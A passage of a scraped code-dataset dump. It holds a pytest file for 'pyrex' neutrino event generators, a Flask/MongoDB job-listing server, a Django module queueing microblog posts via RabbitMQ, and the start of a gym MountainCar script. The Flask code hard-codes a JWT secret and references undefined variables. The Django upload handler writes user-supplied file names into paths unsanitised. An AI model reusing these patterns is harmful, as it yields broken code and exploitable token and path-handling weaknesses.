pytest.raises(StopIteration):\n generator.create_event()\n\n\n\ntest_ids = [12, -12, 14, 16]\ntest_vertices = [(0, 0, 0), (0, 0, -100), (-100, -100, -300), (100, 200, -500)]\ntest_directions = [(0, 0, -1), (0, 0, 1), (1, 0, 1), (0, 0, 1)]\ntest_energies = [1e9]*4\ntest_interactions = [\"cc\", \"nc\", \"cc\", \"nc\"]\ntest_weights = [0.2, 0.3, 0.4, 0.5]\n\n@pytest.fixture\ndef file_gen(tmpdir):\n \"\"\"Fixture for forming basic NumpyFileGenerator object,\n including creating temporary .npz files (once per test).\"\"\"\n if not \"test_particles_1.npz\" in [f.basename for f in tmpdir.listdir()]:\n np.savez(str(tmpdir.join(\"test_particles_1.npz\")),\n particle_ids=test_ids[:2], vertices=test_vertices[:2],\n directions=test_directions[:2], energies=test_energies[:2],\n interactions=test_interactions[:2], weights=test_weights[:2])\n np.savez(str(tmpdir.join(\"test_particles_2.npz\")),\n test_ids[2:], test_vertices[2:], test_directions[2:],\n test_energies[2:], test_interactions[2:], test_weights[2:])\n return NumpyFileGenerator([str(tmpdir.join(\"test_particles_1.npz\")),\n str(tmpdir.join(\"test_particles_2.npz\"))])\n\nclass TestNumpyFileGenerator:\n \"\"\"Tests for NumpyFileGenerator class\"\"\"\n def test_creation(self, file_gen, tmpdir):\n \"\"\"Test initialization of NumpyFileGenerator\"\"\"\n assert file_gen.files == [str(tmpdir.join(\"test_particles_1.npz\")),\n str(tmpdir.join(\"test_particles_2.npz\"))]\n assert issubclass(file_gen.interaction_model, NeutrinoInteraction)\n file_gen_2 = NumpyFileGenerator(str(tmpdir.join(\"test_particles_1.npz\")))\n assert file_gen_2.files == [str(tmpdir.join(\"test_particles_1.npz\"))]\n\n def test_create_event(self, file_gen, tmpdir):\n \"\"\"Test that create_event method loops over files correctly.\n Also tests ability to read files without explicit labels since\n test_particles_2.npz is created without explicit labels\"\"\"\n for i in range(4):\n event = file_gen.create_event()\n particle = event.roots[0]\n expected = Particle(particle_id=test_ids[i],\n vertex=test_vertices[i],\n direction=test_directions[i],\n energy=test_energies[i],\n interaction_type=test_interactions[i],\n weight=test_weights[i])\n assert particle.id == expected.id\n assert np.array_equal(particle.vertex, expected.vertex)\n assert np.array_equal(particle.direction, expected.direction)\n assert particle.energy == expected.energy\n assert particle.interaction.kind == expected.interaction.kind\n assert particle.weight == expected.weight\n with pytest.raises(StopIteration):\n file_gen.create_event()\n\n def test_bad_files(self, tmpdir):\n \"\"\"Test that appropriate errors are raised when bad files are passed\"\"\"\n np.savez(str(tmpdir.join(\"bad_particles_1.npz\")),\n some=[(0, 0, 0), (0, 0, -100)], badly=[(0, 0, -1), (0, 0, 1)],\n named=[0]*2, keys=[1e9]*2)\n with pytest.raises(KeyError):\n NumpyFileGenerator(str(tmpdir.join(\"bad_particles_1.npz\")))\n np.savez(str(tmpdir.join(\"bad_particles_2.npz\")),\n [(0, 0, 0), (0, 0, -100)], [(0, 0, -1), (0, 0, 1)], [0], [1e9])\n with pytest.raises(ValueError):\n NumpyFileGenerator(str(tmpdir.join(\"bad_particles_2.npz\")))\n", "sub_path": "tests/test_generation.py", "file_name": "test_generation.py", "file_ext": "py", "file_size_in_byte": 11968, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.random.seed", "line_number": 17, "usage_type": "call"}, {"api_name": "config.SEED", "line_number": 17, "usage_type": "argument"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pyrex.generation.ShadowGenerator", "line_number": 18, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.array_equal", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 29, "usage_type": "call"}, {"api_name": "pyrex.particle.NeutrinoInteraction", "line_number": 30, "usage_type": "argument"}, {"api_name": "pyrex.generation.ShadowGenerator", "line_number": 33, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 40, "usage_type": "call"}, {"api_name": "pyrex.generation.ShadowGenerator", "line_number": 41, "usage_type": "call"}, {"api_name": "pyrex.particle.Event", "line_number": 47, "usage_type": "argument"}, {"api_name": "numpy.ndarray", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 62, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 63, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 66, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 67, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 70, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 71, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 81, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 83, "usage_type": "attribute"}, {"api_name": "pytest.approx", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 89, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 90, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 93, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 94, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 97, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 98, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 100, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle.Type", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pyrex.particle.Particle", "line_number": 109, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 132, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 133, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 134, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 135, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 136, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 136, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle", "line_number": 140, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle.Type", "line_number": 140, "usage_type": "attribute"}, {"api_name": "numpy.array_equal", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 144, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle", "line_number": 146, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle.Type", "line_number": 146, "usage_type": "attribute"}, {"api_name": "numpy.array_equal", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 150, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle", "line_number": 152, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle.Type", "line_number": 152, "usage_type": "attribute"}, {"api_name": "numpy.array_equal", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 156, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle", "line_number": 158, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle.Type", "line_number": 158, "usage_type": "attribute"}, {"api_name": "numpy.array_equal", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 162, "usage_type": "call"}, {"api_name": "pyrex.particle.Event", "line_number": 169, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle", "line_number": 169, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle.Type", "line_number": 169, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 166, "usage_type": "attribute"}, {"api_name": "pyrex.generation.ListGenerator", "line_number": 177, "usage_type": "call"}, {"api_name": "pyrex.generation.ListGenerator", "line_number": 180, "usage_type": "call"}, {"api_name": "pyrex.particle.Event", "line_number": 186, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle", "line_number": 186, "usage_type": "call"}, {"api_name": "pyrex.generation.ListGenerator", "line_number": 188, "usage_type": "call"}, {"api_name": "pyrex.particle.Event", "line_number": 195, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle", "line_number": 195, "usage_type": "call"}, {"api_name": "pyrex.generation.ListGenerator", "line_number": 197, "usage_type": "call"}, {"api_name": "pyrex.generation.ListGenerator", "line_number": 203, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 227, "usage_type": "call"}, {"api_name": "pyrex.generation.NumpyFileGenerator", "line_number": 230, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 218, "usage_type": "attribute"}, {"api_name": "pyrex.particle.NeutrinoInteraction", "line_number": 239, "usage_type": "argument"}, {"api_name": "pyrex.generation.NumpyFileGenerator", "line_number": 240, "usage_type": "call"}, {"api_name": "pyrex.particle.Particle", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 258, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 267, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 270, "usage_type": "call"}, {"api_name": "pyrex.generation.NumpyFileGenerator", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 272, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 274, "usage_type": "call"}, {"api_name": "pyrex.generation.NumpyFileGenerator", "line_number": 275, "usage_type": "call"}]} {"seq_id": "114289997", "text": "from flask import Flask,render_template, g, current_app\nfrom flask_cors import CORS\nfrom flask_pymongo import PyMongo\nfrom bson.json_util import dumps\nfrom bson.objectid import ObjectId\nfrom flask import request, make_response\n# from flask.ext.paginate import Pagination\n\nimport json\nimport math\n\napp = Flask(__name__)\nCORS(app)\napp.config[\"MONGO_URI\"] = \"mongodb://localhost:27017/joboid\"\nmongo = PyMongo(app)\n\n# PAGINATION\ndef pagination(page):\n job_count = mongo.db.jobs.find().count()\n jobs = mongo.db.jobs.find()\n items = []\n for item in jobs:\n items.append({'job_title':item['job_title'],'company_name':item['company_name'], 'description' : item['description'], 'payscale' : item['payscale'], 'location' : item['location'], 'type' : item['type'] , 'comapny_type' : item['comapny_type'], 'date_posted' : item['date_posted'], 'parent_source' : item['parent_source'], 'active' : item['active']})\n total_pages = job_count\n total_jobs = job_count\n return {\n \"total_pages\": math.ceil(total_pages/20),\n \"total_jobs\": total_jobs,\n \"page\": page,\n \"data\": items[(page*20)-20: page*20],\n \"per_page\": 20\n } \n\n@app.route('/readjobs')\ndef readjobs():\n page = request.args.get(\"page\", default = 1, type = int)\n return pagination(page)\n\n# SAVED JOBS\n@app.route('/savedjobs/jobid', methods = ['POST'])\ndef savedJobs():\n auth_header = request.headers.get('Authorization')\n token_encoded = auth_header.split(' ')[1]\n decoded_data = jwt.decode(token_encoded, 'naga', algorithm='HS256')\n\n mongo.db.saved.insert({'email' : decoded_data['email'], 'jobid' : jobid})\n return {'status' : 200}\n\n# EMAIL ALERTS\n@app.route('/emailalerts', methods = ['POST'])\ndef emailAlerts():\n auth_header = request.headers.get('Authorization')\n token_encoded = auth_header.split(' ')[1]\n decoded_data = jwt.decode(token_encoded, 'naga', algorithm='HS256')\n\n mongo.db.alert.insert({'email' : decoded_data['email'], 'searchquery' : sada, 'Filterapplied' : filter})\n return {'status' : 200}\n\n# !&!&!&!&!&!&!&!&!&!&!&!&!&---ADDING AND REMOVING FILTERS---!&!&!&!&!&!&!&!&!&!&!&!&!&\n# COMPANY TYPE FILTER\n@app.route('/filtercompany/<companytype>')\ndef filterCompanytype(companytype):\n finding = mongo.db.jobs.find_one({'_id' : ObjectId(\"5e177bf59c643c6d1ef77463\")})\n arr = finding['company_type']\n if companytype not in arr:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e177bf59c643c6d1ef77463\")}, {'$push' : {'company_type' : companytype}})\n finding = mongo.db.jobs.find_one({'_id' : ObjectId(\"5e177bf59c643c6d1ef77463\")})\n arr = finding['company_type']\n else:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e177bf59c643c6d1ef77463\")}, {'$pull' : {'company_type' : companytype}})\n arr.remove(companytype)\n apply_filter = mongo.db.jobs.find({'comapny_type' : {'$in' : arr}})\n return dumps({'data' : apply_filter})\n\n# JOB TITLE FILTER\n@app.route('/filterjobtitle/<jobtitle>')\ndef filterJobtitle(jobtitle):\n finding = mongo.db.jobs.find_one({'_id' : ObjectId(\"5e177dd79c643c6d1ef77464\")})\n arr = finding['job_title']\n if jobtitle not in arr:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e177dd79c643c6d1ef77464\")}, {'$push' : {'job_title' : jobtitle}})\n finding = mongo.db.jobs.find_one({'_id' : ObjectId(\"5e177dd79c643c6d1ef77464\")})\n arr = finding['job_title']\n else:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e177dd79c643c6d1ef77464\")}, {'$pull' : {'job_title' : jobtitle}})\n arr.remove(jobtitle)\n apply_filter = mongo.db.jobs.find({'job_title' : {'$in' : arr}})\n return dumps({'data' : apply_filter})\n\n# COMPANY NAME FILTER\n@app.route('/filtercompanyname/<companyname>')\ndef filterCompanyname(companyname):\n finding = mongo.db.jobs.find_one({'_id' : ObjectId(\"5e177de29c643c6d1ef77465\")})\n arr = finding['company_name']\n if companyname not in arr:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e177de29c643c6d1ef77465\")}, {'$push' : {'company_name' : companyname}})\n finding = mongo.db.jobs.find_one({'_id' : ObjectId(\"5e177de29c643c6d1ef77465\")})\n arr = finding['company_name']\n else:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e177de29c643c6d1ef77465\")}, {'$pull' : {'company_name' : companyname}})\n arr.remove(companyname)\n apply_filter = mongo.db.jobs.find({'company_name' : {'$in' : arr}})\n return dumps({'data' : apply_filter})\n\n# LOCATION FILTER\n@app.route('/filterlocation/<location>')\ndef filterLocation(location):\n finding = mongo.db.jobs.find_one({'_id' : ObjectId(\"5e1780e19c643c6d1ef77469\")})\n arr = finding['location']\n if location not in arr:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e1780e19c643c6d1ef77469\")}, {'$push' : {'location' : location}})\n finding = mongo.db.jobs.find_one({'_id' : ObjectId(\"5e1780e19c643c6d1ef77469\")})\n arr = finding['location']\n else:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e1780e19c643c6d1ef77469\")}, {'$pull' : {'location' : location}})\n arr.remove(location)\n apply_filter = mongo.db.jobs.find({'location' : {'$in' : arr}})\n return dumps({'data' : apply_filter})\n\n# TYPE FILTER\n@app.route('/typefilter/<typefilter>')\ndef typeFilter(typefilter):\n finding = mongo.db.jobs.find_one({'_id' :ObjectId(\"5e177df49c643c6d1ef77467\")})\n arr = finding['type']\n if typefilter not in arr:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e177df49c643c6d1ef77467\")}, {'$push' : {'type' : typefilter}})\n finding = mongo.db.jobs.find_one({'_id' :ObjectId(\"5e177df49c643c6d1ef77467\")})\n arr = finding['type']\n else:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e177df49c643c6d1ef77467\")}, {'$pull' : {'type' : typefilter}})\n arr.remove(typefilter)\n apply_filter = mongo.db.jobs.find({'type' : {'$in' : arr}})\n return dumps({'data' : apply_filter})\n\n# PARENT SOURCE FILTER\n@app.route('/parentsource/<parentsource>')\ndef parentsource(parentsource):\n finding = mongo.db.jobs.find_one({'_id' :ObjectId(\"5e177dfd9c643c6d1ef77468\")})\n arr = finding['parent_source']\n if parentsource not in arr:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e177dfd9c643c6d1ef77468\")}, {'$push' : {'parent_source' : parentsource}})\n finding = mongo.db.jobs.find_one({'_id' :ObjectId(\"5e177dfd9c643c6d1ef77468\")})\n arr = finding['parent_source']\n else:\n mongo.db.jobs.update({'_id' : ObjectId(\"5e177dfd9c643c6d1ef77468\")}, {'$pull' : {'parent_source' : parentsource}})\n arr.remove(parentsource)\n apply_filter = mongo.db.jobs.find({'parent_source' : {'$in' : arr}})\n return dumps({'data' : apply_filter})\n\n# !&!&!&!&!&!&!&!&!&!&!&!&!&---ADDING AND REMOVING FILTERS---!&!&!&!&!&!&!&!&!&!&!&!&!&", "sub_path": "Mongo/server1.py", "file_name": "server1.py", "file_ext": "py", "file_size_in_byte": 6731, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 13, "usage_type": "call"}, {"api_name": "flask_pymongo.PyMongo", "line_number": 15, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.request.headers.get", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "flask.request.headers.get", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 52, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 63, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 66, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 67, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 70, "usage_type": "call"}, {"api_name": "bson.json_util.dumps", "line_number": 73, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 78, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 81, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 82, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 85, "usage_type": "call"}, {"api_name": "bson.json_util.dumps", "line_number": 88, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 93, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 96, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 97, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 100, "usage_type": "call"}, {"api_name": "bson.json_util.dumps", "line_number": 103, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 108, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 111, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 112, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 115, "usage_type": "call"}, {"api_name": "bson.json_util.dumps", "line_number": 118, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 123, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 126, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 127, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 130, "usage_type": "call"}, {"api_name": "bson.json_util.dumps", "line_number": 133, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 138, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 141, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 142, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 145, "usage_type": "call"}, {"api_name": "bson.json_util.dumps", "line_number": 148, "usage_type": "call"}]} {"seq_id": "406168153", "text": "#!/usr/bin/env python\n#_*_coding:utf-8_*_\nfrom Intrac.rabbit_mq_conn import Rab_conn_server\nfrom django.shortcuts import render_to_response\nfrom django.shortcuts import render\nfrom django.shortcuts import HttpResponse\nfrom django.shortcuts import redirect\n\nfrom dao.Repository.UserinfoRepository import UserRpostry\nfrom dao.Repository.WeiBo_Repository import WeiboRepo\nimport json\nimport time,os\n\nfrom dao.Repository.TagR import Tags_handler\n\n\n\ndef dail_pic(request,pic_obj_list):\n timestamp = time.time()\n user_id = request.session['userinfo']['data'][0][\"user_id__id\"]\n pic_path = \"statics/uploads/%s/%s\" % (user_id, timestamp)\n\n all_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), pic_path)\n if not os.path.exists(all_path):\n os.mkdir(all_path)\n\n path_list = []\n\n for obj in pic_obj_list:\n prefix_pic =timestamp+1\n f = open(os.path.join(all_path, \"%s_%s\"%(prefix_pic,obj.name)), \"wb\")\n # print(obj.name, obj.chunks(), type(obj.chunks()))\n for chunk in obj.chunks():\n f.write(chunk)\n path_list.append(os.path.join(\"/%s\" % pic_path, \"%s_%s\"%(prefix_pic,obj.name)))\n timestamp+=1\n print(path_list)\n return json.dumps(path_list)\n\n\ndef create_weibo(request):\n\n rep = {\"status\":True,\"message\":\"\",\"data\":\"\"}\n if request.method == \"POST\":\n timestamp = time.time()\n print(time.time())\n pic_data_list = request.FILES.getlist(\"fff\") # [<InMemoryUploadedFile: 7A57C9B7FE5EF5082F305EF5B72AF274.png (image/png)>, <InMemoryUploadedFile: 024B00103A7C6061429E5F1DB2913C74.png (image/png)>]\n user_id = request.session['userinfo']['data'][0][\"user_id__id\"]\n perm = 0\n wb_type = request.POST.get(\"wb_type\")\n text = request.POST.get(\"text\")\n pictures_link_id = dail_pic(request,pic_data_list)\n\n # test 数据\n # pic_path = \"statics/%s/%s\" %(user_id,timestamp)\n # if os.path.exists(os.path.join(os.path.dirname(os.path.dirname(__file__)),pic_path))\n # form_data = request.POST.get(\"weibo_data\")\n # form_data = {\"text\":\"这是一条新的微博\",\"perm\":0,\"wb_type\":0,\"pictures_link_id\":json.dumps(['/statics/uploads/1/temp/563DE154F522BCEAF9C81A383396C066.jpg']),\"user_id\":user_id}\n\n form_data = {\"text\":text,\"perm\":perm,\"wb_type\":wb_type,\"pictures_link_id\":pictures_link_id,\"user_id\":user_id}\n print(form_data)\n que_name = \"create_weibo_item\"\n channel = Rab_conn_server()\n\n channel.create_rab_queue(que_name,json.dumps(form_data))\n form_data = json.dumps(form_data)\n rep[\"data\"] = form_data\n\n\n return HttpResponse(json.dumps(rep))\n\n\ndef get_new_message(request):\n\n if request.method == \"GET\":\n user_id = request.session['userinfo']['data'][0][\"user_id__id\"]\n channel = Rab_conn_server()\n\n new_weibo_count = channel.get_num_weibo(\"user_queue_%s\" % str(user_id))\n\n print(\"get weibo item_counts\",new_weibo_count)\n\n return HttpResponse(json.dumps({\"new_weibo_count\":new_weibo_count}))\n\n\ndef get_all_new_weibo(request):\n\n if request.method == \"GET\":\n user_id = request.session['userinfo']['data'][0][\"user_id__id\"]\n channel = Rab_conn_server()\n all_new_weibo = channel.get_all_new_weibo_from_que(\"user_queue_%s\" % str(user_id))\n\n print(\"get weibo item_weibo_detail \", all_new_weibo)\n\n return HttpResponse(json.dumps({\"all_new_weibo\": all_new_weibo}))\n\n\ndef forward_weibo(request):\n rep = {\"status\": True, \"message\": \"\", \"data\": \"\"}\n if request.method == \"POST\":\n\n # test 数据\n # pic_path = \"statics/%s/%s\" %(user_id,timestamp)\n # if os.path.exists(os.path.join(os.path.dirname(os.path.dirname(__file__)),pic_path))\n # form_data = request.POST.get(\"weibo_data\")\n # form_data = {\"text\":\"这是一条新的微博\",\"perm\":0,\"wb_type\":0,\"pictures_link_id\":json.dumps(['/statics/uploads/1/temp/563DE154F522BCEAF9C81A383396C066.jpg']),\"user_id\":user_id}\n\n # form_data = {\"text\": text, \"perm\": perm, \"wb_type\": wb_type, \"pictures_link_id\": pictures_link_id,\n # \"user_id\": user_id}\n\n form_data = request.POST.get(\"forward_data\")\n\n print(form_data)\n que_name = \"create_weibo_item\"\n channel = Rab_conn_server()\n\n channel.create_rab_queue(que_name, json.dumps(form_data))\n form_data = json.dumps(form_data)\n rep[\"data\"] = form_data\n\n return HttpResponse(json.dumps(rep))\n", "sub_path": "web/rab_que/queue_handle.py", "file_name": "queue_handle.py", "file_ext": "py", "file_size_in_byte": 4488, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "time.time", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 38, "usage_type": "call"}, {"api_name": "time.time", "line_number": 45, "usage_type": "call"}, {"api_name": "time.time", "line_number": 46, "usage_type": "call"}, {"api_name": "Intrac.rabbit_mq_conn.Rab_conn_server", "line_number": 63, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 65, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 66, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 70, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 70, "usage_type": "call"}, {"api_name": "Intrac.rabbit_mq_conn.Rab_conn_server", "line_number": 77, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 83, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 83, "usage_type": "call"}, {"api_name": "Intrac.rabbit_mq_conn.Rab_conn_server", "line_number": 90, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 95, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 95, "usage_type": "call"}, {"api_name": "Intrac.rabbit_mq_conn.Rab_conn_server", "line_number": 115, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 117, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 118, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 121, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 121, "usage_type": "call"}]} {"seq_id": "125621712", "text": "import numpy as np\nnp.random.seed(0)\nimport pandas as pd\nimport gym\n\nspace_names = ['观测空间','动作空间','奖励范围','最大步数']\ndf = pd.DataFrame(columns=space_names)\n\nenv_spaces = gym.envs.registry.all()\nfor env_spec in env_spaces:\n env_id = env_spec.id\n try:\n env = gym.make(env_id)\n observation_space = env.observation_space\n action_space = env.action_space\n reward_range = env.reward_range\n max_episode_steps = None\n if isinstance(env, gym.wrappers.time_limit.TimeLimit):\n max_episode_steps = env._max_episode_steps\n df.loc[env_id] = [observation_space, action_space, reward_range, max_episode_steps]\n except:\n pass\n\nprint(df)\n\nenv = gym.make('MountainCar-v0')\nprint('观测空间 = {}'.format(env.observation_space))\nprint('动作空间 = {}'.format(env.action_space))\nprint('观测范围 = {} ~ {}'.format(env.observation_space.low,\n env.observation_space.high))\nprint('动作数 = {}'.format(env.action_space.n))\n\nclass BespokeAgent:\n def __init__(self, env):\n pass\n\n def decide(self, observation):\n position, velocity = observation\n lb = 